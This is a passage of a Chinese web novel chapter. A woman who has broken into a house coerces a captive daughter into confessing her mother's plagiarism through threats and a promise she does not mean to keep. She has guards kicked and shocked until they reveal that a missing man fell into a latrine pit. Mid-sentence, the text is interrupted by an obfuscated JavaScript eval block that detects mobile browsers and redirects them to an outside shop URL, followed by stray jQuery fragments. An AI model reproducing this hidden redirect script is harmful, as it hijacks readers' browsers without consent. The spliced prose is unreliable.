这段时间以来，秦至善抓住一切时间在学习知识。各种各样的，五花八门的知识。


    一切都是陌生的，也一切都是新奇的。她没有基础，学习起来很慢；但是正是因为她没有基础，很多在她看来超脱常理的事情，让她印象尤为深刻。


    比如，生男生女是由男人决定的，再比如儿子像母亲，女儿则是更像父亲。


    后面这件事在面前女人的脸上得到了很好的证明——葛安之长得和她的木匠爹几乎是一模一样，而跟葛欢却没有多少的相似之处。


    “按理来说，你母亲看到你的脸，应该会想起你的父亲，”秦至善的一只手像铁钳一般死死卡住葛安之的下巴，颇有些好奇的问道，“听说她十分厌恶她的前夫，为什么她还会这么喜欢你呢？”


    葛安之的瞳孔不受控的放大：“你怎么知道……不，不，你是谁？你怎么会进来这里的？”


    “这里是我家！谁让你进来的！你给我出去，不然，不然我就报警了！”


    秦至善气定神闲地点点头：“好啊，那你报警啊，我等着。”


    此话一出，葛安之反而被噎住了，眼珠子乱转，冷汗在瞬间浸透了衣衫。


    看着她心虚的表现，秦至善怜爱的卸下几分力：“怎么，你又不敢报警了？可怜的姑娘，你怕什么呢？”


    “怕我们因为擅闯民宅被抓起来，还是怕你母亲因为囚禁亲生女儿被抓，亦或是，”她拉长了语调，“害怕你母亲做过的那些匪夷所思的恶事被曝光，从此成为人人唾弃的抄袭贼？”


    葛安之连呼吸都停滞了。她在脸颊处传来的剧痛中意识到来者不善，而不善者知晓她们家的很多事。


    她一直以来最担心的事情终于要发生了：她妈妈的一切所作所为都人曝光了。曝光的人可能是妈妈的对手，也可能是那些被抄袭的人，总之他们不会心生怜悯，不会留有余地放人一马——还不如去自首！


    还不如自首！


    自首尚且有着转圜的余地，被旁人揭穿，就彻底完了！


    葛安之脑子里只有这一句话。她像一只被捕鼠夹夹住的老鼠，被突如其来的袭击吓到僵直，只能拿任由秦至善把她拎起来，悠悠道：“怎么，是不会报警吗？我可以帮你。”


    她说着，拿出一个葛安之很眼熟的东西——正是她的手机。


    手机已经被解锁了，上面显示的密密麻麻的几十条未接来电，全部都是来自于联系人[妈妈]，秦至善问道：“正好你妈妈也在找你，不如我们联系警察，然后警察联系你妈妈？”


    手机被怼到葛安之的面前，几乎贴脸的挨到一起，秦至善骤然变脸，厉声到：“报警啊！现在就打电话！快点！”


    女人的呵斥如雷声轰鸣，在狭小的室内嗡嗡作响。葛安之被逼得一个哆嗦，眼泪瞬间涌上了眼眶。


    她的手死死扣住铁链子，这个束缚她的枷锁在此刻又成了她的救命稻草，她想后退，脸颊又被那有力的手掌住锢，只能“呜呜”的哽咽着，用剧烈的喘息表达自己的恐惧和抗拒。


    “怎么又不愿意了？”秦至善冷笑一声，“是不是因为，你害怕你打了报警电话，你母亲就不算自首，刑罚不会因此而减轻？”


    “我真的很怀疑，你到底是不是在追求正义，还是说，你只是在你母亲，这个世界上唯一能够纵容和保护你的人面前显示自己的成熟和道义。”


    说罢，秦至善把人扔到了墙上。


    昨天晚上，她终于找到了葛欢想在这座房子里面隐藏的秘密：她的女儿，亲生女儿葛安之，因为和她爆发冲突，被她送到这里“忆苦思甜”。


    把不听话的孩子扔回老家是常见操作，但是雇佣十来个保镖，把只有方寸大小的园子围成铁桶一般，可就是极为少见了；更别说那几条发现柏苑的狼犬，这样的架势，哪里还是单纯的保护？


    秦至善连夜找人把葛安之的履历摸了个遍。发现她原本跟葛欢的感情很好。资料显示，葛欢只有这一个女儿，宠的简直是要星星不给月亮，母女两个每天都要视频通话。


    但是这个月，她们知联系了两次。


    葛欢倒是在不断的拨打通讯，奈何另一头压根不愿意接。葛安之梗着一口气，无论葛欢说什么，她都不理会。


    要是葛欢说得严重了，她就打车到警察局门口，然后拍照一张自拍发过去，葛欢就会安静一段时间。


    这说明什么？说明葛安之拿报警来威胁葛欢，说明她对于某些事情是知情的。


    这就很有意思了，葛欢的女儿跟她闹翻，却又不愿意报警，只是用这样的方式沉默的逼迫母亲妥协，妥协什么？


    秦至善查到这里，就知道自己离真相不远了。她动用了自己最大的本事——钞能力，从最近的城市买来大量高科技潜入设备，然后让人一路飙车过来，只花了三个半小时。


    天黑之际，她已经和丁膝一行人站到了葛欢老家的房屋顶上。院子里面狼狗如痴如醉的打着盹，看上去一往如常，但是实际上比喝大了更迷糊。


    她们就这样在屋顶听完了母女的亲情表演。葛安之哭得眼睛都要瞎了，秦至善却不屑一顾：你但凡真的进过一次警局，都算是你有半分赎罪的真心。可实际上葛安之离警察局最近的地方，是在照片里！


    她自始至终都没有真的要举报自己母亲的心思。


    这一点，旁人猜不到，葛欢自己也猜不到，她甚至在女儿的威胁之下把人一时情急把人囚禁了起来，但是秦至善见过太多这样的人。亲亲相隐又存着三份善念的人大多是如此。


    他们摇摆不定，他们来回抽搐。


    说得好听些，他们是既想保住亲人，又不愿意违背良心。


    但说的不好听的话，就是得陇望蜀，想要名声，又不愿意背负责任。


    不过秦至善最喜欢也是这种人，因为你只要在他们面前稍稍施加压力，让她们下的来台，他们就会很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095417|186537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容易的逻辑自洽，告诉自己，不是我不愿意继续为你隐藏，而是迫于无奈。


    ——毕竟，我是被逼的。


    念及此处，秦至善也不愿意继续废话了，一脚踩上葛安之的脚踝，稍稍用力，就听到一声惨叫：“你要是能够把你知道的都说出来，我可以录音为证，日后不追究你母亲的责任。”


    惨叫声霎时变得断断续续起来：“你，你说真的？”


    秦至善面不改色的打包票：“当然是真的。我还可以立字据。”


    反正葛欢又没抄袭过她。她本来说的就不算。


    可是葛安之不知道啊，她天真地以为秦至善是苦主之一，要是她能够保证自己以后不追究，母亲的罪责就少一个人追究，便毫不犹豫的答应下来：“一言为定！”


    只能说她傻的可爱了，拿到秦至善的签字单据之后，珍惜的放好，又用着自己手机录下了秦至善亲口说愿意原谅的视频，实时传送到备份。脸上是全然的放松之意。


    秦至善看着她做完这一切，终于问了她第一个问题：“那天晚上闯进来的人，你家的保镖把人关在哪里了？”


    这个问题其实已经问过被放倒的一串保镖了。一开始没有人理她，于是电击器只能忍辱负重的往男人下半身走一番，他们便争先恐后的张了嘴：“我没杀他！真的！”


    “他长得一看就是个小白脸，我们怕是谁家的小少爷，就把他关在厕所里，只是想恶心恶心他，没想到，没想到……”


    小鸮一脚上去，把说话的人肋骨踢断了。肋骨断掉的人连呼吸都是痛的，而只伤骨头不伤内脏是需要一定水平的，痛到呻吟的保镖就知道这也是个行家，隐瞒不得，道：“我说，我说！我没想到他滚进去了！”


    “滚进哪儿了？”


    “……粪坑。”


    秦至善站在旱厕门口，看着人给她指出来翻滚的痕迹：“我们当时怕他跑，所以困得紧了点，他应该是想用那块板子磨开绳子，但是没稳住，直接栽倒里面了。”


    这个里面自然指的是深不见底的粪坑，秦至善只看了一眼就退回去，又补了一脚：“说实话！”


    “我真说的是实话！啊！”


    那个保镖染了头黄毛，骨架灵活，却没有多少肌肉，秦至善险些没把他踹断气，丁膝赶紧上来拦：“别把人踢死了……我的姐哎，你可真有劲。”


    小鸮小心翼翼的看了一眼秦至善，她还以为这位她是接受不了这个事实在这里撒气：“其实，这个痕迹是对的，他说的，不是没有可能。”


    柏苑的确有可能已经淹死在粪坑里了。


    剩下的话没有说出口。因为丁膝狠狠瞪了它一眼，把她所有的话都摁了回去。她这才意识到好像确实不能这么快就宣判自己雇主的死亡——这跟砸自家招牌有什么区别？


    她只好抿着嘴不说话了。秦至善不以为意，她当然不是被气到昏头，她是确定柏苑没事，才会这么问的。